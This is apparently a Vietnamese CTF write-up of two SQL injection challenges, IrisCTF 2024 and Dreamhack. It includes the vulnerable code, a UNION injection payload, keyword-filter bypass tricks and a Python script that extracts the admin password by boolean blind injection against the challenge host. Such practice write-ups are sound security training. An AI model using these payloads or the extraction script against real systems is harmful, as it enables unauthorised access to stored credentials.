---
# System prepended metadata

title: SQL injection(Training)

---

{%hackmd @themes/orangeheart %}


# What's My Password? (Irisctf 2024)

## About the challenge

Thử thách cho chúng ta 1 ``Login Form`` như sau:

![image](https://hackmd.io/_uploads/H1aw3R8tT.png)

Thử thách cũng cho ta 1 vài file như ``Database`` và câu truy vấn chính.

```
CREATE DATABASE uwu;
use uwu;

CREATE TABLE IF NOT EXISTS users ( username text, password text );
INSERT INTO users ( username, password ) VALUES ( "root", "IamAvEryC0olRootUsr");
INSERT INTO users ( username, password ) VALUES ( "skat", "fakeflg{fake_flag}");
INSERT INTO users ( username, password ) VALUES ( "coded", "ilovegolang42");

CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'password';
GRANT SELECT ON uwu.users TO 'readonly_user'@'%';
FLUSH PRIVILEGES;
```

Câu truy vấn chính:

```
qstring := fmt.Sprintf("SELECT * FROM users WHERE username = \"%s\" AND password = \"%s\"", input.Username, input.Password)
```

Dựa vào những dữ kiện được cung cấp thì ta có thể dễ dàng nhận thấy rằng thông tin nhạy cảm nằm trong bảng ``users`` và cột ``password`` của ``username`` có tên là ``skat``. Do đó ta chỉ cần bypass được phần truy vấn chính là xong.

## Solution

Ta có thể bypass câu truy vấn này đơn giản chỉ bằng cách sử dụng kí tự ``"`` vào trước input.

payload: ``" union select * from users where username=\"skat\"; -- -``

## Script

![image](https://hackmd.io/_uploads/H10CTAUYp.png)


# sql injection bypass WAF (Dreamhack)

## About the challenge

Thử thách cho chúng ta 1 form để nhập ``uid`` như sau:

![image](https://hackmd.io/_uploads/Sy4rR0Ltp.png)

Thử thách cho ta 1 file ``Database``. Nếu nhìn vào bảng và các câu truy vấn do người dùng tạo, bạn có thể thấy mật khẩu của tài khoản quản trị viên là ``FLAG``. Các cột trong bảng sử dụng ``idx``, ``uid`` và ``upw`` và bảng được định cấu hình để giá trị ``idx`` tự động tăng thêm 1.

```
CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('abcde', '12345');
INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
INSERT INTO user(uid, upw) values('dream', 'hack');
FLUSH PRIVILEGES;
```

Tiếp theo là file hệ thống. Nhìn vào mã ``app.py``, ``uid`` là đầu vào từ người dùng và việc lọc như kết hợp, chọn, từ, v.v. được thực hiện thông qua hàm ``check_WAF()``. Sau đó, truy vấn ``SELECT`` được thực thi và trả về kết quả.

```
import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True

    return False


@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
        else:
            return template.format(uid=uid, result='')

    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')
```

## Solution

Để bypass được hàm ``check_WAF()`` tôi sử dụng các kí tự thay thế như sau:

```
or => || 

admin => reverse("nimda")

and => && 
```

Tiếp theo, tôi khởi tạo 1 payload để bypass qua lớp filter. Ở đây, tôi thực hiện so sánh nếu kí tự đầu của cột ``upw`` là ``68`` tức là ``D`` thì sẽ trả về true. Lúc này trên màn hình trả về chúng ta thấy có ``admin`` xuất hiện, do đó ta có thể dựa vào đây để so sánh từng kí tự trong chuỗi ở cột ``upw``. Điều này dựa trên lí thuyết ``Boolean based Blind SQL Injection`` 

```
'||uid=reverse("nimda")&&if(ascii(substr(upw,1,1))=68,true,false)#
```

![image](https://hackmd.io/_uploads/SyIye1Pta.png)

Tiếp theo tôi sử dụng python để chạy từng kí tự trong chuỗi với khoảng ``50`` kí tự và trong khoảng ``32->128`` trong bảng mã ascii.

![image](https://hackmd.io/_uploads/HkOse1PYT.png)


## Script

```
import requests

flag = ""
for i in range(1,50):
    for j in range(32, 128):
        url = "http://host3.dreamhack.games:23500//?uid='||uid%3Dreverse(\"nimda\")%26%26if(ascii(substr(upw%2C{}%2C1))%3D{}%2Ctrue%2Cfalse)%23".format(i,j)

        res = requests.get(url)
        if 'admin' in res.text:
            flag += chr(j)
            print(flag)
```